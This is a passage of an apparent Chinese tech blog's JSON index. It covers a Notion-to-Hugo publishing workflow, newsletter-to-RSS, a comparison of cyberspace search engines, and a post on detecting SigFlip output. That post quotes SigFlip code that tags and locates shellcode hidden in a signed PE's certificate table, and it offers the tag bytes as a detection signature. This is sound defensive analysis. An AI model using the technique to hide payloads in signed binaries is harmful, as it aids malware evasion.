github，local代表保存到源仓库，github代表保存到另一个github仓库（图床）中去，默认为 local\nimg_store_path_prefix: 图片保存的路径前缀，默认为 static/notionimg\nimg_store_url_path_prefix： 当 img_store_type=local 时需要，设置在markdown图片链接中的前缀，和上面的 img_store_path_prefix 不相同，比如 img_store_path_prefix='static/notionimg' img_store_url_path_prefix：='/notionimg/' 的情况下，则图片保存路径为 \u0026lsquo;./static/notionimg/{img_md5}{img_ext}\u0026rsquo;, 而在markdown文件中的体现为 ![](/notionimg/{img_md5}{img_ext})\nimg_store_github_token: 当 img_store_type=github 时需要，设置保存图片到github图床所使用的token（secrets.GITHUB_TOKEN 只有读权限，所以需要另外使用）\nimg_store_github_repo: 当 img_store_type=github 时需要，你把哪个仓库当作github图床\nimg_store_github_branch: 当 img_store_type=github 时需要，你把哪个github图床仓库的哪一个分支当作图床\nmd_store_path_prefix: 最后生成的markdown文件保存在哪，默认是当前仓库目录的 content/posts 目录下\n其中需要关注的是\ntoken: ${{ secrets.CHECKOUT_TOKEN }} 是为了后面的 push to github 推送后能够触发另外一个action流程，否则无法触发，其中的 CHECKOUT_TOKEN 为你创建的 Personal Access Token，具体可以查看我上面的注释\non: issues: types: [opened] 的主要作用是当打开或提交一个issue时触发该action\nif: ${{ github.event.issue.user.login == github.actor \u0026amp;\u0026amp; contains(github.event.issue.title, 'notion-ci') }} 的主要作用是：当提交issue的人是你自己，并且issue标题包含 notion-ci 时进行action流程\n注意: 只有当workflows在主分支时，使用 issues 作为触发条件才会生效，所以我个人是将 hugo 作为主分支，将 master 作为 Github Pages 分支\n测试 首先申请一个token，在 https://www.notion.so/my-integrations 点击 + New integration ，然后配置好你想要的app名称，以及设置到的工作区，这里我取的名称是 api\n然后我们需要把指定的databse以及所需要发布的文章都集成我们申请的app\n以及需要发布的文章\n注意：database中的Article列，按下 @ 号来搜索选择文章\ngithub配置好相关的 Secrets ，\n我们在仓库中提交一个标题包含 notion-ci 的issue，即可触发workflows\n全自动整个流程 平台调研 根据官方文章 Connect your tools to Notion with the API 中所提到的，我们可以得到一些可以用于notion的自动化集成平台，对比了一下，automate.io 应该是最实惠的平台，免费用户每个月可以触发300次，一般而言，对于博客来说够了\n自动化集成 在 https://automate.io/app/signup 注册好账号后，打开 Add an Issue in GitHub on a New Database Item in Notion ，在database添加条目时在指定的github仓库添加一条issue\n首先点选 Link Notion ，一路下一步，出现下面的页面时，点选我们的databse\n然后确认后点选我们的database\n然后继续 Link Github 授予github权限（注意，这个应用所需的权限较大）\n然后配置一下相关属性\n注意选好相关仓库，以及 Title 中需要包含 notion-ci\n确认就好了，当然，有一些缺陷，免费的是每五分钟检查一次，等不及的话，你还是可以手动提交issue触发\n现在尝试在database中使用右上角的 New 新增一个条目，查看会有什么变化\n注意：所有涉及到的文章，都需要invite我们先前创建的app，否则github action无法读取到\n","permalink":"https://www.hacktech.cn/post/2021/12/notion-to-github-blog/","summary":"\u003cp\u003enotion是用来记录笔记的，hugo是我用来作为github博客自动构建发布的\u003c/p\u003e\n\u003cp\u003e我目前设置了一个github action是：当我的博客仓库hugo分支有push事件时，自动构建文章发布到master分支，并且发布到博客园。\u003c/p\u003e\n\u003cp\u003e但是会有这样的不便：在notion中写了一篇笔记或文章，想要发布到github静态博客上，发现需要先将文章转化成markdown，图片需要上传到图床，然后贴入markdown，然后再推送到github，等待action自动构建静态博客\u003c/p\u003e\n\u003cp\u003e既然我使用notion记录笔记，何不继续All-in-one，将notion作为我的博客发布工具。\u003c/p\u003e\n\u003cp\u003e只需要在 notion 中建立一个用于博客发布的 database，然后写完笔记后填入这个 database，再使用一些手段触发 CI 即可完成博客文章的发布\u003c/p\u003e\n\u003ch2 id=\"工具介绍\"\u003e工具介绍\u003c/h2\u003e\n\u003cp\u003e说干就干，写了两个工具\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/akkuman/notiontomd\"\u003ehttps://github.com/akkuman/notiontomd\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/akkuman/notion_to_github_blog\"\u003ehttps://github.com/akkuman/notion_to_github_blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003enotiontomd\u003c/code\u003e 是用来notion中的某个page转化为markdown的库，当然，当前支持的block是有限的，详细信息可以查看该仓库\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enotion_to_github_blog\u003c/code\u003e则是一个github action模板，用来自动从指定格式的database中拉取需要更新发布的文章，然后利用 \u003ccode\u003enotiontomd\u003c/code\u003e 转化为markdown，然后推送到github仓库，再触发另外的github aciton进行博客静态文件构建\u003c/p\u003e\n\u003ch2 id=\"使用\"\u003e使用\u003c/h2\u003e\n\u003cp\u003e怎么建仓怎么自动从某分支拉取推到github pages所在分支我就不展开说明了，感兴趣的可以去网上搜索相关资料，本文所关注的流程是从notion database到博客源文件\u003c/p\u003e\n\u003ch3 id=\"基础环境\"\u003e基础环境\u003c/h3\u003e\n\u003cp\u003e本文所涉及到的例子环境可以前往我的博客仓库 \u003ca href=\"https://github.com/akkuman/akkuman.github.io\"\u003ehttps://github.com/akkuman/akkuman.github.io\u003c/a\u003e 进行查看\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003ehugo分支用来存放博客源文件，其中有一个github action的功能是push时触发，然后自动构建推送到master分支\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003emaster分支用来存放hugo构建之后生成的站点静态文件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e博客相关的图片我会推送到 \u003ca href=\"https://github.com/akkuman/pic\"\u003ehttps://github.com/akkuman/pic\u003c/a\u003e 仓库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ehugo作为主分支，master设置为github pages分支（原因后面描述）\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"workflows编写\"\u003eworkflows编写\u003c/h3\u003e\n\u003cp\u003e要使用该action，首先你需要在 notion 中创建一个 database，这个 database 需要有几个字段，字段名如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eName (title): 文章标题\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eArticle (text): 文章链接\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMDFilename (text): 创建的 markdown 文件名\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eCategory (select): 文章分类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eTags (multi_select): 文章标签\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIsPublish (checkbox): 文章是否发布\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eNeedUpdate (checkbox): 文章是否有更新\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eCreateAt (Created time): 创建时间\u003c/p\u003e","title":"notion实现自动发布到hugo github博客"},{"content":"最近在移植 med0x2e/SigFlip 的过程中发现了一个有意思的点，可以用来作为检测的手段\n在 SigFlip 项目的 Detect/Prevent 一节中作者有提到一些检测防御手段\nhttps://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN\nOnce the patch is installed and proper registry keys are set, No system restarts are required, you only need to restart the Cryptographic Services. The Applocker service will be also restarted as it depends on the cryptographic services.(@p0w3rsh3ll)\nYara rule by Adrien; https://twitter.com/Int2e_/status/1330975808941330432\n从 SigFlip 源码中，其实也能发现一个点\nSigFlip 依赖一串特定的字节来定位shellcode的位置，详见 Native/SigLoader/SigLoader/SigLoader.cpp#L102 和 Native/SigFlip/SigFlip/SigFlip.cpp#L232\n1 2 3 4 5 6 7 for (_index = 0; _index \u0026lt; _CertTableSize; _index++) { if (*(_pePtr + _index) == 0xfe \u0026amp;\u0026amp; *(_pePtr + _index + 1) == 0xed \u0026amp;\u0026amp; *(_pePtr + _index + 2) == 0xfa \u0026amp;\u0026amp; *(_pePtr + _index + 3) == 0xce) { printf(\u0026#34;[*]: Tag Found 0x%x%x%x%x\u0026#34;, *(_pePtr + _index), *(_pePtr + _index+1), *(_pePtr + _index+2), *(_pePtr + _index+3)); _dataOffset = _index + 8; break; } } 1 2 memcpy(_encryptedData, \u0026#34;\\xFE\\xED\\xFA\\xCE\\xFE\\xED\\xFA\\xCE\u0026#34;, 8); crypt((unsigned char*)_data, _dataSize, _key, _keySize, (unsigned char*)_encryptedData + 8); 也就是说我们在证书表中定位到 \\xFE\\xED\\xFA\\xCE\\xFE\\xED\\xFA\\xCE 这段特征就可以断定它疑似 SigFlip 生成的 payload 了，想要更精准一些可以结合 https://twitter.com/Int2e_/status/1330975808941330432 中提到的长度特征。\n另外很有意思的一点是，这个项目是有问题的（截至20211103 commit ~~~~e24a1fc~~~~），详见 ~~~~Native/SigFlip/SigFlip/SigFlip.cpp#L164~~~~ 和 ~~~~Native/SigFlip/SigFlip/SigFlip.cpp#L260~~~~，很多情况下该项目根本没法正常使用，因为pe文件的RVA和FOA之间的关系作者并没有进行处理，只有当pe文件中的 ~~SectionAlignment~~ 和 ~~FileAlignment~~ 一样时，RVA才等于FOA，导致的结果是，可能使用工具后签名会失效。错误的位置，加上上面的特征码，这个更加是一个强特征了。公鸡队之家修改后的 ~~~~CrackerCat/sigFile~~~~ 也没有修正这个bug。\n上面是我莽撞了，IMAGE_DIRECTORY_ENTRY_SECURITY 这个结构的 VirtualAddress 就是相对于文件开头的偏移，可参见 Does DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress actually mean file offset? 和 SigThief 的相关实现，所以这个并不是bug\n另外还有一个bug，注意在 Native/SigFlip/SigFlip/SigFlip.cpp#L149-L159\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //Security entry seems to be located at the 7th offset (Data_Dir) for For x64 PE files, and the 5th offset for x86 PE files. just a quick workaround to make the script work for different PE archs. if (IsWow64(GetCurrentProcess())) { if (_optHeader.Magic == 0x20B) { _DT_SecEntry_Offset = 2; } } else { if (_optHeader.Magic == 0x10B) { _DT_SecEntry_Offset = -2; } } ... //Get IMAGE_DIRECTORY_ENTRY_SECURITY field and retrieve the RVA and SIZE of the Certificate Table (WIN_CERTIFICATE). _CertTableRVA = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].VirtualAddress; _CertTableSize = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size; 但是实际上看到的基本都是 IMAGE_DIRECTORY_ENTRY_SECURITY 在第五个，而没有他这里的情况，并且就算是有这种情况，注释和代码写得也不相符。\n最后一句，Native跑不起来，DotNet的实现是正确的\n最后的 yara 规则大家可以自己研究下\n","permalink":"https://www.hacktech.cn/post/2021/12/identify-sigflip-file/","summary":"\u003cp\u003e最近在移植 \u003ca href=\"https://github.com/med0x2e/SigFlip\"\u003emed0x2e/SigFlip\u003c/a\u003e 的过程中发现了一个有意思的点，可以用来作为检测的手段\u003c/p\u003e\n\u003cp\u003e在 SigFlip 项目的 \u003ca href=\"https://github.com/med0x2e/SigFlip#detectprevent\"\u003eDetect/Prevent\u003c/a\u003e 一节中作者有提到一些检测防御手段\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN\"\u003ehttps://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eOnce the patch is installed and proper registry keys are set, No system restarts are required, you only need to restart the Cryptographic Services. The Applocker service will be also restarted as it depends on the cryptographic services.(@p0w3rsh3ll)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYara rule by Adrien; \u003ca href=\"https://twitter.com/Int2e_/status/1330975808941330432\"\u003ehttps://twitter.com/Int2e_/status/1330975808941330432\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e从 SigFlip 源码中，其实也能发现一个点\u003c/p\u003e\n\u003cp\u003eSigFlip 依赖一串特定的字节来定位shellcode的位置，详见 \u003ca href=\"https://github.com/med0x2e/SigFlip/blob/e24a1fcde8ab27f58c35935f65078b47b20eca43/Native/SigLoader/SigLoader/SigLoader.cpp#L102\"\u003eNative/SigLoader/SigLoader/SigLoader.cpp#L102\u003c/a\u003e 和 \u003ca href=\"https://github.com/med0x2e/SigFlip/blob/e24a1fcde8ab27f58c35935f65078b47b20eca43/Native/SigFlip/SigFlip/SigFlip.cpp#L232\"\u003eNative/SigFlip/SigFlip/SigFlip.cpp#L232\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (_index \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; _index \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e _CertTableSize; _index\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xfe\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xfa\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xce\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[*]: Tag Found 0x%x%x%x%x\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index), \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e), \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e), \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(_pePtr \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e _index\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t_dataOffset \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e _index \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(_encryptedData, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\xFE\\xED\\xFA\\xCE\\xFE\\xED\\xFA\\xCE\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ecrypt\u003c/span\u003e((\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)_data, _dataSize, _key, _keySize, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)_encryptedData \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e也就是说我们在证书表中定位到 \u003ccode\u003e\\xFE\\xED\\xFA\\xCE\\xFE\\xED\\xFA\\xCE\u003c/code\u003e 这段特征就可以断定它疑似 SigFlip 生成的 payload 了，想要更精准一些可以结合 \u003ca href=\"https://twitter.com/Int2e_/status/1330975808941330432\"\u003ehttps://twitter.com/Int2e_/status/1330975808941330432\u003c/a\u003e 中提到的长度特征。\u003c/p\u003e","title":"识别SigFlip生成的恶意文件"},{"content":"相关的开源项目 https://github.com/leafac/kill-the-newsletter\n作者提供了一个网站 https://kill-the-newsletter.com/ 来提供服务，截至20211119，至少已经提供了两年的服务了，所以稳定性还可\n下面就是使用方法了\n选择一个你要订阅的newsletter，比如 https://random-lab.ghost.io/\n打开 https://kill-the-newsletter.com/ ，输入你要给该订阅取的名字，比如我输入 1000小食报 ，然后点击 create inbox\n然后会提供给你一个邮箱和一个rss订阅地址\n将邮箱地址填入第一步中的订阅邮箱\n将rss订阅地址加到你的rss阅读器\n一般情况下你会收到的第一个订阅消息是叫你确认订阅，点击确认地址即可\n下面说下原理：\n首先需要有个邮服，然后每次创建inbox的时候随机生成一个邮箱，并且将此邮箱的收件箱内容转为rss订阅暴露出来\n","permalink":"https://www.hacktech.cn/post/2021/12/newsletter2rss/","summary":"\u003cp\u003e相关的开源项目 \u003ca href=\"https://github.com/leafac/kill-the-newsletter\"\u003ehttps://github.com/leafac/kill-the-newsletter\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e作者提供了一个网站 \u003ca href=\"https://kill-the-newsletter.com/\"\u003ehttps://kill-the-newsletter.com/\u003c/a\u003e 来提供服务，截至20211119，至少已经提供了两年的服务了，所以稳定性还可\u003c/p\u003e\n\u003cp\u003e下面就是使用方法了\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e选择一个你要订阅的newsletter，比如 \u003ca href=\"https://random-lab.ghost.io/\"\u003ehttps://random-lab.ghost.io/\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打开 \u003ca href=\"https://kill-the-newsletter.com/\"\u003ehttps://kill-the-newsletter.com/\u003c/a\u003e ，输入你要给该订阅取的名字，比如我输入 \u003ccode\u003e1000小食报\u003c/code\u003e ，然后点击 \u003ccode\u003ecreate inbox\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后会提供给你一个邮箱和一个rss订阅地址\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将邮箱地址填入第一步中的订阅邮箱\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将rss订阅地址加到你的rss阅读器\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e一般情况下你会收到的第一个订阅消息是叫你确认订阅，点击确认地址即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/notionimg/7d/d6/7dd60ab74cab5a242a2452de7283627f.png\"\u003e\u003c/p\u003e\n\u003cp\u003e下面说下原理：\u003c/p\u003e\n\u003cp\u003e首先需要有个邮服，然后每次创建inbox的时候随机生成一个邮箱，并且将此邮箱的收件箱内容转为rss订阅暴露出来\u003c/p\u003e","title":"将newsletter转为rss"},{"content":"最近网络空间检索平台雨后春笋般涌现，本篇文章以一个使用者的视角来做一下对比\n语法 目前网络上比较知名的网络空间检索平台有白帽汇的 fofa、360的 quake、知道创宇的 zoomeye、安恒的 sumap、奇安信的 hunter、以及国外的 shodan\n简单对比下语法上的差异，当然，不一定准确，也不一定就是我下面列出的字段名称，各家对于字段名称可能有些差异\n公共 首先是大家都共有的字段搜索，\n字段名称 字段说明 title 网站标题 body 正文，或者说响应体 cert 证书内容 ip ip或ip段 port 端口 protocol 协议 server http headers里面的Server字段 base_protocol 传输层协议 os 系统 asn 自治域号码 status_code web状态码 icon_hash 图标hash region 地区 app 应用指纹 时间 shodan 并没有针对采集时间的 before 和 after 语法，国内各家貌似都有针对采集时间的查询\n域名 shodan 并没有针对ip关联的域名做语法，国内各家貌似都有针对域名的查询\nipv6 根据几家的说明文档来看，除了hunter，其他家都有提供ipv6的资产查询，不过现阶段用得较少\nhostname 除了 sumap 和 hunter，其他家都有提供对于rDNS的查询（即hostname字段），不过该功能也用得少\n证书细化 证书内容其实就是一个文本内容，各家在针对这个文本的解析上有多有少，目前看起来在这一块shadon和quake是做得最细致的\nfofa quake shodan zoomeye sumap hunter 大家要是想自己在命令行解析推荐一个工具 cfssl-certinfo，大概可以解析出的内容如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 cfssl-certinfo -cert kubernetes.pem { \u0026#34;subject\u0026#34;: { \u0026#34;common_name\u0026#34;: \u0026#34;kubernetes\u0026#34;, \u0026#34;country\u0026#34;: \u0026#34;CN\u0026#34;, \u0026#34;organization\u0026#34;: \u0026#34;k8s\u0026#34;, \u0026#34;organizational_unit\u0026#34;: \u0026#34;System\u0026#34;, \u0026#34;locality\u0026#34;: \u0026#34;BeiJing\u0026#34;, \u0026#34;province\u0026#34;: \u0026#34;BeiJing\u0026#34;, \u0026#34;names\u0026#34;: [ \u0026#34;CN\u0026#34;, \u0026#34;BeiJing\u0026#34;, \u0026#34;BeiJing\u0026#34;, \u0026#34;k8s\u0026#34;, \u0026#34;System\u0026#34;, \u0026#34;kubernetes\u0026#34; ] }, \u0026#34;issuer\u0026#34;: { \u0026#34;common_name\u0026#34;: \u0026#34;kubernetes\u0026#34;, \u0026#34;country\u0026#34;: \u0026#34;CN\u0026#34;, \u0026#34;organization\u0026#34;: \u0026#34;k8s\u0026#34;, \u0026#34;organizational_unit\u0026#34;: \u0026#34;System\u0026#34;, \u0026#34;locality\u0026#34;: \u0026#34;BeiJing\u0026#34;, \u0026#34;province\u0026#34;: \u0026#34;BeiJing\u0026#34;, \u0026#34;names\u0026#34;: [ \u0026#34;CN\u0026#34;, \u0026#34;BeiJing\u0026#34;, \u0026#34;BeiJing\u0026#34;, \u0026#34;k8s\u0026#34;, \u0026#34;System\u0026#34;, \u0026#34;kubernetes\u0026#34; ] }, \u0026#34;serial_number\u0026#34;: \u0026#34;243750511260095960201836502027625859126538784827\u0026#34;, \u0026#34;sans\u0026#34;: [ \u0026#34;\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;kubernetes\u0026#34;, \u0026#34;kubernetes.default\u0026#34;, \u0026#34;kubernetes.default.svc\u0026#34;, \u0026#34;kubernetes.default.svc.cluster\u0026#34;, \u0026#34;kubernetes.default.svc.cluster.local\u0026#34;, \u0026#34;127.0.0.1\u0026#34; ], \u0026#34;not_before\u0026#34;: 